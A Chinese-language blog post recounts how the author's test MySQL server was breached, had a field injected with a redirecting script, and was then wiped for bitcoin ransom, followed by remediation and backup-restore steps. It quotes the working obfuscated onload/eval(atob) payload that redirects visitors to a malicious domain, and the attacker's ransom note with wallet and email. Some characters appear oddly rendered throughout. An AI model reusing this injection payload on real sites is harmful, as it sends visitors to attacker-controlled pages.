運維|MySQL 數(shù)據(jù)庫被黑,心力交瘁
前一陣有一個測試用的 MySQL 數(shù)據(jù)庫被黑了,刪庫勒索的那種,這里記錄一下事情經(jīng)過,給自己也敲個警鐘。
發(fā)現(xiàn)端倪
有一天,我在自測功能的時候,發(fā)現(xiàn) APP 里展示的每條詳情信息里都有一段亂碼,只是有點奇怪,沒有特別在意,后來調試網(wǎng)頁的時候看到控制臺有個報錯,就順手看了一眼,發(fā)現(xiàn)詳情網(wǎng)頁里有這樣的東西:
找我的前端小伙伴討論了下,最后本地調試了一番,發(fā)現(xiàn)是數(shù)據(jù)庫里有個字段齊刷刷地被改成這個了:
<body/onload=eval(atob("d2luZG93LmxvY2F0aW9uLnJlcGxhY2UoImh0dHBzOi8vaHpyMGRtMjhtMTdjLmNvbS9lYm1zczBqcTc/a2V5PWM5MGEzMzYzMDEzYzVmY2FhZjhiZjVhOWE0ZTQwODZhIik="))>
atob 里面這一串是被 Base64 編碼的 window.location.replace("https://xxx.com/xxx"),所以這段代碼如果在網(wǎng)頁里被正常加載,網(wǎng)頁會被自動重定向到一個邪惡的網(wǎng)址:
是不是挺可怕?瀏覽網(wǎng)頁的人如果警惕性不高,可能就中招了。這時我明白過來,我的測試環(huán)境這是被當成肉雞了……
不過當時還是大意了,因為暫時沒有想通它是怎樣攻擊和篡改,以為就是從頁面注入的,就在邏輯里加了一些防護邏輯,把這個字段值都改回去然后就繼續(xù)干活了。
庫沒人懵
到第二天,正歡樂地測著功能呢,突然打開啥頁面都報數(shù)據(jù)庫異常了,到庫里一看,好家伙,所有表都沒了,只剩一張 readme,里面寫著:
以下數(shù)據(jù)庫已被刪除:xxx。我們有完整的備份。要恢復它,您必須向我們的比特幣地址bc1q8erv6l4xrdqsfpwp92gm0mccur49pqn8l8epfg支付0.016比特幣(BTC)。如果您需要證明,請通過以下電子郵件與我們聯(lián)系。song4372@proton.me 。任何與付款無關的郵件都將被忽略!
事情沒我想象的簡單!能把庫里的表都刪了,數(shù)據(jù)庫和服務器的權限怕是都被拿到了。
仔細回想了前一段時間里發(fā)生的事情,推測過程可能是這樣的:
- 最開始,有一天接收到阿里云的告警,提示 AK 泄漏,查看事件日志發(fā)現(xiàn)利用 AK 創(chuàng)建了一個 RAM 子賬號,并賦予了高權限,當時我禁用了涉及的 AK,刪除了被創(chuàng)建的子賬號,但服務器應該已經(jīng)被滲透了;
- 然后就是數(shù)據(jù)庫字段被篡改,估計是一方面把服務器資源作為肉雞繼續(xù)擴散攻擊其它人,另一方面作為誘餌,監(jiān)控處理動作;
- 最后就是刪庫勒索了。
奪回權限
當務之急,是奪回權限,恢復數(shù)據(jù)。整個服務器和數(shù)據(jù)庫的權限應該都不安全了,所以我先采取了以下措施:
- 檢查服務器安全組規(guī)則,發(fā)現(xiàn)被加入了允許公網(wǎng)訪問 3306 和所有端口的記錄,將其刪除;
- 檢查服務器上的用戶,發(fā)現(xiàn)多了一個用戶 guest,uid 0,將其禁用;
- 檢查進程,發(fā)現(xiàn)有用 guest 用戶啟動的 bash 進程和 mysql root 用戶進程,將其 kill 掉;
- 修改服務器所有用戶密碼,檢查用戶權限;
- 修改數(shù)據(jù)庫端口、重置所有用戶和密碼,只賦予用戶必要權限;
- 更新服務器,修復已知安全漏洞;
用到的主要指令:
# 檢查 Linux 服務器上的用戶
cat /etc/passwd
# 修改用戶密碼
passwd <username>
# 檢查進程
ps -ef
# 殺掉進程
kill -9 <pid>
# 修改數(shù)據(jù)庫端口
vim /etc/my.cnf
# mysql 刪除用戶,在 mysql 命令行執(zhí)行
drop user '<user_name>'@'<scope>';
# mysql 創(chuàng)建用戶,賦予權限,在 mysql 命令行執(zhí)行
create user '<user_name>'@'<scope>' IDENTIFIED BY '<password>';
grant select,insert,update,delete on '<database_name>'.* to '<user_name>'@'<scope>';
修復數(shù)據(jù)
接下來就是修復數(shù)據(jù)了。
這個測試用的 MySQL 實例開啟了 binlog,可惜被攻擊者清除了,所以只能從備份恢復了。數(shù)據(jù)用定時任務 + mysqldump,每天備份一次,找到合適的備份,恢復數(shù)據(jù)。
ps: 幸虧有備份,不然真是欲哭無淚了。
# 解壓備份文件
gunzip -c xxx.sql.gz > xxx.sql
# 恢復數(shù)據(jù),在 mysql 命令行執(zhí)行
use <database_name>;
souce /path/to/xxx.sql;
小結
以上的步驟的操作過程,遠沒有看起來那么簡單,實際耗費了我挺長時間。
這次事件讓我深刻地意識到,安全問題不容忽視,不管是服務器還是數(shù)據(jù)庫,都要做好安全措施,不要給攻擊者可乘之機。不然真到了被攻擊,而又自行恢復無望的時候,那就叫天天不應,叫地地不靈了。退一萬步說,即使有備份,也會耗費大量的時間和精力,影響正常的工作和生活。
安全任重道遠,后續(xù)先做好以下方面:
- 訪問控制,只賦予必要權限;
- 服務器鏡像、數(shù)據(jù)庫定期備份;
- 定期漏洞掃描與修復;
- 敏感數(shù)據(jù)加密;
- 操作審計;
最后,警鐘常鳴!